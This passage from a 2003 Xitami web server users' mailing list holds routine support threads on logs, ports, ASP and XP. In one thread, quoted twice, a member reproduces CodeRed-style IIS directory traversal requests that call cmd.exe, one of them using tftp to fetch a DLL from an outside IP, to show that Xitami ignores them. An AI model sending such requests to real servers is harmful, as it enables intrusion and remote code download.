you if you allow the move out to the internet. > > I`m not saying this is Nimda, but if a troyan is planted into your server, > then it will search new victims, and the firewall will tell you that move. > > I get hundreds of such attemps everyday, but the answer is always 404. > > Get your W2K updates, and tune your antivirus as well. > > Good luck: > > Carlos > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Wed Jan 15 14:43:52 2003 From: xitami@lists.xitami.org (Rob @ BMM) Date: Wed, 15 Jan 2003 07:43:52 -0700 Subject: [Xitami] Website statistics In-Reply-To: <005301c2b74b$c7e2e080$0500a8c0@Evolution1600> Message-ID: Hi Andrew, The absolute best (and free) reporting package would be AWStats. I use this as well. This reporting package provides every detail I could ever want. Only one minor problem though, it does not come with an "install program". You will have to read the manual and invest 2 - 3 hours to get it to work for the first time. But, it's well worth the effort. After I installed it, I created a batch file that windows runs automatically at 1:00am every morning to generate the reports up until yesterday. The reports will accumulate data every day for the past 12 months. Go to cnet.com and search for awstats and download it. Best Regards, Rob Allen President, Blue Marble Meds LLC. Offering 30-75% off Prescription Meds See us at http://www.BlueMarbleMeds.com -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Andrew Lockwood Sent: Wednesday, January 08, 2003 12:26 PM To: xitami@lists.xitami.org Subject: [Xitami] Website statistics As a "newbie" member, this may be a naive question that has been asked many times before, but is there any (straightforward) way of getting statistics about numbers of visits to websites out of Xitami and where they came from? Any help suggestions most gratefully received Andrew Lockwood From xitami@lists.xitami.org Wed Jan 15 19:08:05 2003 From: xitami@lists.xitami.org (Paul Reid) Date: Wed, 15 Jan 2003 14:08:05 -0500 Subject: Re[2]: [Xitami] Security Issue - Disabling Script Processing In-Reply-To: References: Message-ID: <130-1345570108.20030115140805@rci.rutgers.edu> > Xitami allows this kind of script processing to occur. How do you know the scripts are actually running? The 200 response only means Xitami was happy with what it did. That does not prove it did what the hacker hoped. Also, isn't the response length -1 for all of these? Those requests are illegally encoded. In IIS, they invoke a bug in IIS's URL decoder. In Xitami they are trimmed-off at the illegal point and what is left is handled. For most CodeRed hacks, this is either the root default or a subdirectory you probably don't have. Take one of those hacks and try it yourself. http://myserver.edu/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir Gives me a Not Found. On the tftp one, edit it to a script of your choice. Like a HIT_ME.BAT file: echo "you got me!" >> hit_me.txt /scripts/..%%35%63../winnt/system32/cmd.exe?/c+hit_me%20-i%20208.179.58.54%20G ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" If the cmd.exe?/c+hit_me hack works, it will append to hit_me.txt. You will find that it does NOT work under Xitami (nor even under a properly patched IIS). -PRR From xitami@lists.xitami.org Wed Jan 15 21:37:17 2003 From: xitami@lists.xitami.org (Rob @ BMM) Date: Wed, 15 Jan 2003 14:37:17 -0700 Subject: Re[2]: [Xitami] Security Issue - Disabling Script Processing In-Reply-To: <130-1345570108.20030115140805@rci.rutgers.edu> Message-ID: Paul, Thx for the informative info and advice. Best Regards, Rob Allen President, Blue Marble Meds LLC. Offering 30-75% off Prescription Meds See us at http://www.BlueMarbleMeds.com -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Paul Reid Sent: Wednesday, January 15, 2003 12:08 PM To: Rob @ BMM Subject: Re[2]: [Xitami] Security Issue - Disabling Script Processing > Xitami allows this kind of script processing to occur. How do you know the scripts are actually running? The 200 response only means Xitami was happy with what it did. That does not prove it did what the hacker hoped. Also, isn't the response length -1 for all of these? Those requests are illegally encoded. In IIS, they invoke a bug in IIS's URL decoder. In Xitami they are trimmed-off at the illegal point and what is left is handled. For most CodeRed hacks, this is either the root default or a subdirectory you probably don't have. Take one of those hacks and try it yourself. http://myserver.edu/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir Gives me a Not Found. On the tftp one, edit it to a script of your choice. Like a HIT_ME.BAT file: echo "you got me!" >> hit_me.txt /scripts/..%%35%63../winnt/system32/cmd.exe?/c+hit_me%20-i%20208.179.58.54%2 0G ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" If the cmd.exe?/c+hit_me hack works, it will append to hit_me.txt. You will find that it does NOT work under Xitami (nor even under a properly patched IIS). -PRR -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Mon Jan 20 22:03:30 2003 From: xitami@lists.xitami.org (Gunnar Swan) Date: Mon, 20 Jan 2003 14:03:30 -0800 Subject: [Xitami] Filter IP address out of log Message-ID: <200301202154.h0KLsVVN019040@sxpublic.nxrda.imatix.net> Hello, I'm running 8 domain names with separate logs. Works great. What I want to do is NOT log my router IP address. We have clients that are assigned IP by router. The logs show the router IP. Is there a way to filter out the IP address of the router ? I know I can do this with web log software, but I'm hoping to trim the size of the logs themselves. Thanks. Best Regards, Gunnar Swan http://www.PracticeToPass.Com Software Built For Statutory Courses From xitami@lists.xitami.org Tue Jan 21 02:47:52 2003 From: xitami@lists.xitami.org (Gunnar Swan) Date: Mon, 20 Jan 2003 18:47:52 -0800 Subject: [Xitami] Any experience with SeliSoft Message-ID: <200301210238.h0L2cnVN022151@sxpublic.nxrda.imatix.net> It is supposed to work as CGI and allow ASP on Xitami. Anybody have any data on this? Best Regards, Gunnar Swan http://www.PracticeToPass.Com Software Built For Statutory Courses From xitami@lists.xitami.org Tue Jan 21 05:56:54 2003 From: xitami@lists.xitami.org (Nkosinathi Ndlovu(hre) Date: Tue, 21 Jan 2003 07:56:54 +0200 Subject: [Xitami] Any experience with SeliSoft Message-ID: After creating my website, how do other people connected to the same network as my machine access the website.how do i substitute http://127.0.0.1/hredat/homepage.htm to just http://hreserver the name of my server.my pictures do not show when i open them on my xitami folder,i don't know why. please help. nkosinathi > -----Original Message----- > From: Gunnar Swan [SMTP:GunnarSwan@PracticeToPass.com] > Sent: Tuesday, January 21, 2003 4:48 AM > To: Xitami List > Subject: [Xitami] Any experience with SeliSoft > > > It is supposed to work as CGI and allow ASP on Xitami. > Anybody have any data on this? > > > Best Regards, > Gunnar Swan > http://www.PracticeToPass.Com > Software Built For Statutory Courses > > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Tue Jan 21 06:13:57 2003 From: xitami@lists.xitami.org (Richard Cunningham) Date: Mon, 20 Jan 2003 23:13:57 -0700 Subject: [Xitami] Filter IP address out of log References: <200301202154.h0KLsVVN019040@sxpublic.nxrda.imatix.net> Message-ID: <26d101c2c114$48a429a0$0302a8c0@oc2> Good question and good luck. ----- Original Message ----- From: "Gunnar Swan" To: "Xitami List" Sent: Monday, January 20, 2003 3:03 PM Subject: [Xitami] Filter IP address out of log Hello, I'm running 8 domain names with separate logs. Works great. What I want to do is NOT log my router IP address. We have clients that are assigned IP by router. The logs show the router IP. Is there a way to filter out the IP address of the router ? I know I can do this with web log software, but I'm hoping to trim the size of the logs themselves. Thanks. Best Regards, Gunnar Swan http://www.PracticeToPass.Com Software Built For Statutory Courses -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Tue Jan 21 09:14:27 2003 From: xitami@lists.xitami.org (Gunnar Swan) Date: Tue, 21 Jan 2003 01:14:27 -0800 Subject: [Xitami] Any experience with SeliSoft Message-ID: <200301210905.h0L95SVN026310@sxpublic.nxrda.imatix.net> look at the 'webpages' in the defaults.cfg 1/20/03 9:56:54 PM, "Nkosinathi Ndlovu(hre" wrote: >After creating my website, how do other people connected to the same network >as my machine access the website.how do i substitute >http://127.0.0.1/hredat/homepage.htm to just http://hreserver the name of my >server.my pictures do not show when i open them on my xitami folder,i don't >know why. >please help. >nkosinathi > >> -----Original Message----- >> From: Gunnar Swan [SMTP:GunnarSwan@PracticeToPass.com] >> Sent: Tuesday, January 21, 2003 4:48 AM >> To: Xitami List >> Subject: [Xitami] Any experience with SeliSoft >> >> >> It is supposed to work as CGI and allow ASP on Xitami. >> Anybody have any data on this? >> >> >> Best Regards, >> Gunnar Swan >> http://www.PracticeToPass.Com >> Software Built For Statutory Courses >> >> >> >> -- >> Xitami Users Mailing List -- For Xitami support >> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami > >-- >Xitami Users Mailing List -- For Xitami support >To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami > Best Regards, Gunnar Swan http://www.PracticeToPass.Com Software Built For Statutory Courses From xitami@lists.xitami.org Tue Jan 21 06:37:55 2003 From: xitami@lists.xitami.org (A message from Africa) Date: Tue, 21 Jan 2003 08:37:55 +0200 Subject: [Xitami] Any experience with SeliSoft References: Message-ID: <000801c2c12d$5c81e160$dcc807c4@superpac> Hi Nkosinatha, I'll have a look at Selisoft. Unfortunately, I'm not a network wizzkid. I use xitami on my computer to test my scripts etc. If you are having no luck with xitami, I suggest you have a look at apache. I am now using this programme and have got it going without too much hassle. Apache is also free and it is the largest used server in the market. Cheers Chris ----- Original Message ----- From: "Nkosinathi Ndlovu(hre" To: Sent: Tuesday, January 21, 2003 7:56 AM Subject: RE: [Xitami] Any experience with SeliSoft > After creating my website, how do other people connected to the same network > as my machine access the website.how do i substitute > http://127.0.0.1/hredat/homepage.htm to just http://hreserver the name of my > server.my pictures do not show when i open them on my xitami folder,i don't > know why. > please help. > nkosinathi > > > -----Original Message----- > > From: Gunnar Swan [SMTP:GunnarSwan@PracticeToPass.com] > > Sent: Tuesday, January 21, 2003 4:48 AM > > To: Xitami List > > Subject: [Xitami] Any experience with SeliSoft > > > > > > It is supposed to work as CGI and allow ASP on Xitami. > > Anybody have any data on this? > > > > > > Best Regards, > > Gunnar Swan > > http://www.PracticeToPass.Com > > Software Built For Statutory Courses > > > > > > > > -- > > Xitami Users Mailing List -- For Xitami support > > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Thu Jan 23 12:09:27 2003 From: xitami@lists.xitami.org (Anthony Shipley) Date: Thu, 23 Jan 2003 20:09:27 +0800 Subject: [Xitami] Xitami & XP Message-ID: <5pmv2vctt09fadcnsem42lcrhfmsrmj8qk@4ax.com> I can't find any mention of using Xitami under XP on the website (nor of W2000 which is, I believe, the closed OS to XP). Is anybody using Xitami with XP (Home)? tia - Be a lert. Your country needs lerts! From xitami@lists.xitami.org Thu Jan 23 12:29:44 2003 From: xitami@lists.xitami.org (Dave Edick) Date: Thu, 23 Jan 2003 04:29:44 -0800 Subject: [Xitami] Xitami & XP In-Reply-To: <5pmv2vctt09fadcnsem42lcrhfmsrmj8qk@4ax.com> Message-ID: I know people who use xitami on xp pro, don't know about xp home. I use xitami on 2k server currently, and have used it on 2k pro. -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Anthony Shipley Sent: Thursday, January 23, 2003 4:09 AM To: xitami@lists.xitami.org Subject: [Xitami] Xitami & XP I can't find any mention of using Xitami under XP on the website (nor of W2000 which is, I believe, the closed OS to XP). Is anybody using Xitami with XP (Home)? tia - Be a lert. Your country needs lerts! -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Thu Jan 23 12:54:56 2003 From: xitami@lists.xitami.org (Kakuna Miller) Date: Thu, 23 Jan 2003 06:54:56 -0600 Subject: [Xitami] Xitami & XP In-Reply-To: Message-ID: I use in on XP. Holla Atcha gyrl...... MizRaahi http://www.mizraahi.myfileserver.com -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org] On Behalf Of Dave Edick Sent: Thursday, January 23, 2003 6:30 AM To: xitami@lists.xitami.org Subject: RE: [Xitami] Xitami & XP I know people who use xitami on xp pro, don't know about xp home. I use xitami on 2k server currently, and have used it on 2k pro. -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Anthony Shipley Sent: Thursday, January 23, 2003 4:09 AM To: xitami@lists.xitami.org Subject: [Xitami] Xitami & XP I can't find any mention of using Xitami under XP on the website (nor of W2000 which is, I believe, the closed OS to XP). Is anybody using Xitami with XP (Home)? tia - Be a lert. Your country needs lerts! -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Thu Jan 23 13:01:55 2003 From: xitami@lists.xitami.org (Dwaine Gonyier) Date: Thu, 23 Jan 2003 08:01:55 -0500 Subject: [Xitami] Xitami & XP References: Message-ID: <000401c2c2df$9b138b00$0163a8c0@panthra> I use Xitami 2.5b5 (service version) under Windows XP home and it seems to work just fine. FYI, I was using the version of Xitami with the management icon that sits in the tray, but it would crash once in a while, so I thought I would give the service version a try since I heard it was more stable. Dave Edick wrote: > I know people who use xitami on xp pro, don't know about > xp home. I use xitami on 2k server currently, and have > used it on 2k pro. > > -----Original Message----- > From: xitami-admin@lists.xitami.org > [mailto:xitami-admin@lists.xitami.org]On Behalf Of > Anthony Shipley Sent: Thursday, January 23, 2003 4:09 AM > To: xitami@lists.xitami.org > Subject: [Xitami] Xitami & XP > > > I can't find any mention of using Xitami under XP on the > website (nor of W2000 > which is, I believe, the closed OS to XP). > > Is anybody using Xitami with XP (Home)? > > tia > - > > Be a lert. Your country needs lerts! > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: > http://lists.xitami.org/mailman/listinfo/xitami -- Dwaine Gonyier dwaine_gonyier@mindspring.com From xitami@lists.xitami.org Thu Jan 23 22:47:43 2003 From: xitami@lists.xitami.org (Mark McDavid) Date: Thu, 23 Jan 2003 16:47:43 -0600 Subject: [Xitami] SMTP address for CGI Message-ID: <10EAF50C1FE2D61196150040F62C48CC04C898@NTSERVER> I'm a newbie on the CGI and server scene with what seems like a pretty basic question. I'm configuring a prewritten CGI script to process a form and spit out a couple of e-mails (one to the user and one to me). Right now I'm testing the script internally with Xitami. After it functions properly I'll move it to my web server. I've followed the configuration instructions for the script pretty precisely, but there's one thing I think I'm doing wrong. I must point the script to the SMTP address of the server, and I don't exactly know what that is. It says I can specify it as a name or an IP address and gives an example like "smtp.mycompany.com". Does anyone know the address of the SMTP server? Am I on the right track here? I've been ripping out my hair for about a week trying to figure this out on my own, so any help would be greatly appreciated. Mark From xitami@lists.xitami.org Fri Jan 24 00:05:44 2003 From: xitami@lists.xitami.org (Paul Reid) Date: Thu, 23 Jan 2003 19:05:44 -0500 Subject: [Xitami] SMTP address for CGI In-Reply-To: <10EAF50C1FE2D61196150040F62C48CC04C898@NTSERVER> References: <10EAF50C1FE2D61196150040F62C48CC04C898@NTSERVER> Message-ID: <69283038557.20030123190544@rci.rutgers.edu> > I must point the script to the SMTP address of the server, Actually, "any" SMTP server that will accept email for delivery to the recipient. You must have an SMTP server set in your regular email program (OutLook, NetScape Mail, Eudora, etc). This will usually be your ISP's main post-office machine. Try that in your script. Problem is: because of abuse, most SMTP machines no longer take email from strangers (back in the good old days, they did). Some of them will take email from any machine inside the domain's IP ranges. Some expect you to authenticate with a password protected get Mail operation first. At home, your ISP's SMTP may work fine. On a hosted webserver, ask the hosting outfit what to use for SMTP. -PRR From xitami@lists.xitami.org Fri Jan 24 08:00:13 2003 From: xitami@lists.xitami.org (Nkosinathi Ndlovu(hre) Date: Fri, 24 Jan 2003 10:00:13 +0200 Subject: [Xitami] problems with xitami Message-ID: hie can i know, how do i change the xitami port address cause i'm runing xitami on another server so using the same port 80 affects my proxy server settings. please help. Nkosinathi Ndlovu tel:793754 Nkosinathi@datlabs.co.zw From xitami@lists.xitami.org Fri Jan 24 09:26:44 2003 From: xitami@lists.xitami.org (Marc Doigny) Date: Fri, 24 Jan 2003 10:26:44 +0100 Subject: [Xitami] problems with xitami In-Reply-To: Message-ID: <5.1.0.14.2.20030124101723.00a39ec0@verfaillie4.verfaillie.local> At 09:00 24/01/03, you wrote: >hie >can i know, how do i change the xitami port address cause i'm runing xitami >on another server so using the same port 80 affects my proxy server >settings. >please help. * Go to the Xitami root directory * Look for a file default.cfg, if not present, create one * Add an entry [Server] Portbase=1000 (or any other value). This will shift all ports by 1000, also the ftp port if used. (http = 1080) * Restart server Do not modify xitami.cfg, changes will be overwritten, but you can peek at it to see all available parameters that can be modified. Marc --::Mailserver Verfaillie Bauwens::-- contact [postmaster@verfaillie.com] Alle mails gecontroleerd op virussen. Virusdefinities dagelijks aangepast. From xitami@lists.xitami.org Fri Jan 24 22:40:01 2003 From: xitami@lists.xitami.org (Claudia Ortega) Date: Fri, 24 Jan 2003 16:40:01 -0600 Subject: [Xitami] ASP page Message-ID: <3E31C0C1.1E7FE984@penoles.com.mx> hello! Somebody could say how I can open a page to me of ASP in the Xitami servant? Thank you very much. Claudia From xitami@lists.xitami.org Fri Jan 24 23:19:16 2003 From: xitami@lists.xitami.org (Andrew Miller) Date: Fri, 24 Jan 2003 23:19:16 -0000 Subject: [Xitami] ASP page References: <3E31C0C1.1E7FE984@penoles.com.mx> Message-ID: <001401c2c3ff$03e34ce0$aee76151@ajm> Try SeliSoft ActiveHTML http://www.selisoft.com/en/ahtml/index.html or Instant ASP http://www.stryon.com/products.asp?s=1 ----- Original Message ----- From: "Claudia Ortega" To: Sent: Friday, January 24, 2003 10:40 PM Subject: [Xitami] ASP page > hello! > Somebody could say how I can open a page to me of ASP in the Xitami > servant? > > Thank you very much. > > Claudia > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Sat Jan 25 13:59:12 2003 From: xitami@lists.xitami.org (Bob Paddock) Date: Sat, 25 Jan 2003 08:59:12 -0500 Subject: [Xitami] GroupWare for Xitami? Message-ID: <3E329830.1060107@csonline.net> Are there any good GroupWare pacages, preferably written in PHP, that work with Xitami? From xitami@lists.xitami.org Sun Jan 26 08:50:40 2003 From: xitami@lists.xitami.org (xitami@lists.xitami.org) Date: Sun, 26 Jan 2003 00:50:40 -0800 Subject: [Xitami] garbage characters in access logs Message-ID: <001701c2c518$02aeeae0$2101a8c0@Andy> I am running 8 virtual domains all with separate logs in CLFX format. The logs cycle monthly. I recently noticed zero access reported in my log analysis software for a period of about a week. However, I know the server was up for most of this period. I checked the raw access logs and they are all full of garbage characters for this period. Any idea what would be causing this problem with the logs? I'm pretty new at this, and any help would be appreciated. andy From xitami@lists.xitami.org Sun Jan 26 17:29:49 2003 From: xitami@lists.xitami.org (marc) Date: Sun, 26 Jan 2003 18:29:49 +0100 Subject: [Xitami] garbage characters in access logs Message-ID: <80176515E30@relay.verfaillie.com> > I am running 8 virtual domains all with separate logs in CLFX format. The > logs cycle monthly. > > I recently noticed zero access reported in my log analysis software for a > period of about a week. However, I know the server was up for most of this > period. I checked the raw access logs and they are all full of garbage > characters for this period. > > Any idea what would be causing this problem with the logs? Probably some disk access error, the garbage is the data in sectors that the computer assumed were containing access log data, while in fact there was nothing written at all. The computer keeps track of the position of data files and read the sectors that correspond to the file, but if some sectors were not correctly written, the read operation yelds garbage (the original content of those sectors). Marc --::Mailserver Verfaillie Bauwens::-- contact [postmaster@verfaillie.com] Alle mails gecontroleerd op virussen. Virusdefinities dagelijks aangepast. From xitami@lists.xitami.org Sun Jan 26 18:36:16 2003 From: xitami@lists.xitami.org (Gunnar Swan) Date: Sun, 26 Jan 2003 10:36:16 -0800 Subject: [Xitami] garbage characters in access logs Message-ID: <200301261827.h0QIR7VN014083@sxpublic.nxrda.imatix.net> Translation. Could be a hardware problem. 1/26/03 9:29:49 AM, marc wrote: >> I am running 8 virtual domains all with separate logs in CLFX format. The >> logs cycle monthly. >> >> I recently noticed zero access reported in my log analysis software for a >> period of about a week. However, I know the server was up for most of this >> period. I checked the raw access logs and they are all full of garbage >> characters for this period. >> >> Any idea what would be causing this problem with the logs? >Probably some disk access error, the garbage is the data in sectors that the computer assumed were containing access log data, while in fact there was nothing written at all. >The computer keeps track of the position of data files and read the sectors that correspond to the file, but if some sectors were not correctly written, the read operation yelds garbage (the original content of those sectors). > >Marc > > >--::Mailserver Verfaillie Bauwens::-- contact [postmaster@verfaillie.com] >Alle mails gecontroleerd op virussen. Virusdefinities dagelijks aangepast. > >-- >Xitami Users Mailing List -- For Xitami support >To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami > Best Regards, Gunnar Swan http://www.PracticeToPass.Com Software Built For Statutory Courses From xitami@lists.xitami.org Mon Jan 27 07:26:07 2003 From: xitami@lists.xitami.org (Marc Doigny) Date: Mon, 27 Jan 2003 08:26:07 +0100 Subject: [Xitami] garbage characters in access logs In-Reply-To: <200301261827.h0QIR7VN014083@sxpublic.nxrda.imatix.net> Message-ID: <5.1.0.14.2.20030127081942.00a90ec0@verfaillie4.verfaillie.local> At 19:36 26/01/03, you wrote: >Translation. Could be a hardware problem. Not necessarily. Could be a silent crash of part of the core operating system, a power glitch or a power outage... ... Log files that are kept continuously open are more prone to this phenomenon, since there is never a CLOSE forcing a buffer flush (and synchronisation between actual data and FAT information). It will also more likely occur on a FAT drive than on a NTFS drive (with it's backtracking ability) Marc >1/26/03 9:29:49 AM, marc wrote: > > >> I am running 8 virtual domains all with separate logs in CLFX format. The > >> logs cycle monthly. > >> > >> I recently noticed zero access reported in my log analysis software for a > >> period of about a week. However, I know the server was up for most of this > >> period. I checked the raw access logs and they are all full of garbage > >> characters for this period. > >> > >> Any idea what would be causing this problem with the logs? > >Probably some disk access error, the garbage is the data in sectors that > the computer assumed were containing access log data, while in fact there > was nothing written at all. > >The computer keeps track of the position of data files and read the > sectors that correspond to the file, but if some sectors were not > correctly written, the read operation yelds >garbage (the original content of those sectors). --::Mailserver Verfaillie Bauwens::-- contact [postmaster@verfaillie.com] Alle mails gecontroleerd op virussen. Virusdefinities dagelijks aangepast. From xitami@lists.xitami.org Mon Jan 27 12:02:43 2003 From: xitami@lists.xitami.org (Joachim Benjamins) Date: Mon, 27 Jan 2003 11:02:43 -0100 Subject: [Xitami] GroupWare for Xitami? Message-ID: <200301271004.h0RA4G1N018782@smtpzilla5.xs4all.nl> On Sat, 25 Jan 2003 08:59:12 -0500, Bob Paddock wrote: >Are there any good GroupWare pacages, preferably written in PHP, that >work with Xitami? I use PHPCollab, but not with Xitami... (but with Apache on OS/2) It is simple to install and works well enough for my purposes... http://www.phpcollab.com/ Regards, Joachim Benjamins +------------------------------------------------------------+ | Mensys BV - eComStation Support Desk | +------------------------------------------------------------+ | Joachim Benjamins | Email: joachim@mensys.nl | | Crayenestersingel 65 | Phone: +31-23-5482020 | | 2012 PG Haarlem | Fax : +31-23-5482030 | | The Netherlands | www : www.ecomstation.nl | +------------------------------------------------------------+ From xitami@lists.xitami.org Wed Jan 29 13:14:57 2003 From: xitami@lists.xitami.org (Ben McCall) Date: Wed, 29 Jan 2003 08:14:57 -0500 Subject: [Xitami] (no subject) Message-ID: <002a01c2c798$6cc4fa00$1f2e8c41@a6a3v8> Does this server function on a standalone or networked windows 98/2000 computer? This is not mentioned in the information on the web site. Thanks! Ben McCall From xitami@lists.xitami.org Wed Jan 29 14:13:43 2003 From: xitami@lists.xitami.org (Richard Cunningham) Date: Wed, 29 Jan 2003 07:13:43 -0700 Subject: [Xitami] (no subject) References: <002a01c2c798$6cc4fa00$1f2e8c41@a6a3v8> Message-ID: <00b001c2c7a0$a169b770$0302a8c0@oc2> Yes. I use it on a LAN from a Win98 machine on one side and an XP machine on the other side. ----- Original Message ----- From: "Ben McCall" To: Sent: Wednesday, January 29, 2003 6:14 AM Subject: [Xitami] (no subject) Does this server function on a standalone or networked windows 98/2000 computer? This is not mentioned in the information on the web site. Thanks! Ben McCall -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Wed Jan 29 14:20:17 2003 From: xitami@lists.xitami.org (Paricko) Date: Wed, 29 Jan 2003 07:20:17 -0700 Subject: [Xitami] (no subject) References: <002a01c2c798$6cc4fa00$1f2e8c41@a6a3v8> Message-ID: <001301c2c7a1$8c4af560$6401a8c0@evo4000> Yep ----- Original Message ----- From: "Ben McCall" To: Sent: Wednesday, January 29, 2003 6:14 AM Subject: [Xitami] (no subject) > > > > Does this server function on a standalone or networked > windows 98/2000 computer? This is not mentioned in the information on the > web site. > > Thanks! > > Ben McCall > > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Wed Jan 29 20:52:25 2003 From: xitami@lists.xitami.org (Fleming Ho) Date: Wed, 29 Jan 2003 15:52:25 -0500 Subject: [Xitami] Latest Xitami Version and features?? Message-ID: <01cb01c2c7d8$59d8f7d0$6401a8c0@maximus> Hi All, Does anyone know the latest production version of Xitami? I have v2.4d10. But I'm not sure if it implements LRWP 2.0 and the DDNS feature of v2.5beta. If not, is there a production version (or production-quality type beta) that is OK to use for production that implements LRWP and DDNS? Thanks fleming From xitami@lists.xitami.org Wed Jan 29 21:37:02 2003 From: xitami@lists.xitami.org (bernd hohmann) Date: Wed, 29 Jan 2003 22:37:02 +0100 (MEZ) Subject: [Xitami] Latest Xitami Version and features?? In-Reply-To: <01cb01c2c7d8$59d8f7d0$6401a8c0@maximus> Message-ID: <200301292140.h0TLeG60001056@sxpublic.nxrda.imatix.net> On Wed, 29 Jan 2003 15:52:25 -0500, Fleming Ho wrote: >Does anyone know the latest production version of Xitami? I have v2.4d10. >But I'm not sure if it implements LRWP 2.0 and the DDNS feature of v2.5beta. > >If not, is there a production version (or production-quality type beta) that >is OK to use for production that implements LRWP and DDNS? beta 2.5 is good as 2.4d10. bernd From xitami@lists.xitami.org Thu Jan 30 01:09:59 2003 From: xitami@lists.xitami.org (Fleming Ho) Date: Wed, 29 Jan 2003 20:09:59 -0500 Subject: [Xitami] Latest Xitami Version and features?? References: <200301292140.h0TLeG60001056@sxpublic.nxrda.imatix.net> Message-ID: <026701c2c7fc$51a6ff20$6401a8c0@maximus> Hi Bernd, Great! Just one more thing that I forgot - is SSL support turned on in beta 2.5? fleming ----- Original Message ----- From: "bernd hohmann" To: Sent: Wednesday, January 29, 2003 4:37 PM Subject: Re: [Xitami] Latest Xitami Version and features?? > On Wed, 29 Jan 2003 15:52:25 -0500, Fleming Ho wrote: > > >Does anyone know the latest production version of Xitami? I have v2.4d10. > >But I'm not sure if it implements LRWP 2.0 and the DDNS feature of v2.5beta. > > > >If not, is there a production version (or production-quality type beta) that > >is OK to use for production that implements LRWP and DDNS? > > beta 2.5 is good as 2.4d10. > > bernd > > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami > From xitami@lists.xitami.org Thu Jan 30 01:20:29 2003 From: xitami@lists.xitami.org (Fleming Ho) Date: Wed, 29 Jan 2003 20:20:29 -0500 Subject: [Xitami] Java servlet runner Version 1.73 available & Xitami 2.4d10 Message-ID: <027801c2c7fd$c9ec6000$6401a8c0@maximus> Hi Bernd, I just downloaded the latest servletrunner but it doesn't seem to work with my version of Xitami which is 2.4d10. I had originally bought 2.4d9 (for SSL support) and was patched to 2.4d10 a long time ago. Is there any settings that I need to configure my webserver to work with this version of the runner? Thanks, fleming From xitami@lists.xitami.org Thu Jan 30 07:23:00 2003 From: xitami@lists.xitami.org (Nkosinathi Ndlovu) Date: Thu, 30 Jan 2003 09:23:00 +0200 Subject: [Xitami] problems with xitami Message-ID: hie all 1 how do i change the port address of my xitami web server because it conflicts with my proxy server settings. 2 how do i save my attachments from frontpage so that they show up when i open them on my xitami folder. cheers Nkosinathi Ndlovu tel:793754 Nkosinathi@datlabs.co.zw From xitami@lists.xitami.org Thu Jan 30 09:14:36 2003 From: xitami@lists.xitami.org (Marc Doigny) Date: Thu, 30 Jan 2003 10:14:36 +0100 Subject: [Xitami] problems with xitami In-Reply-To: Message-ID: <5.1.0.14.2.20030130100709.00a40600@verfaillie4.verfaillie.local> At 08:23 30/01/03, you wrote: >hie all > >1 how do i change the port address of my xitami web server because it >conflicts with my proxy server settings. >2 how do i save my attachments from frontpage so that they show up when i >open them on my xitami folder. >cheers > >Nkosinathi Ndlovu >tel:793754 >Nkosinathi@datlabs.co.zw To part one of your message: i posted a reply on 24 januari 2003 concerning that matter. This feature is also well documented in the user manual (index4.htm, look for "portbase") Part two: point the webpages folder (in Xitami) to the folder containing the frontpage output. You can do that in the main configuration page of the webadmin. Marc --::Mailserver Verfaillie Bauwens::-- contact [postmaster@verfaillie.com] Alle mails gecontroleerd op virussen. Virusdefinities dagelijks aangepast. From xitami@lists.xitami.org Wed Jan 29 22:21:09 2003 From: xitami@lists.xitami.org (Fleming Ho) Date: Wed, 29 Jan 2003 17:21:09 -0500 Subject: [Xitami] Latest Xitami Version and features?? References: <200301292140.h0TLeG60001056@sxpublic.nxrda.imatix.net> Message-ID: <022301c2c7e6$05690790$6401a8c0@maximus> Hi Bernd, Great! Just one more thing that I forgot - does is SSL support turned on in beta 2.5? fleming ----- Original Message ----- From: "bernd hohmann" To: Sent: Wednesday, January 29, 2003 4:37 PM Subject: Re: [Xitami] Latest Xitami Version and features?? > On Wed, 29 Jan 2003 15:52:25 -0500, Fleming Ho wrote: > > >Does anyone know the latest production version of Xitami? I have v2.4d10. > >But I'm not sure if it implements LRWP 2.0 and the DDNS feature of v2.5beta. > > > >If not, is there a production version (or production-quality type beta) that > >is OK to use for production that implements LRWP and DDNS? > > beta 2.5 is good as 2.4d10. > > bernd > > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: 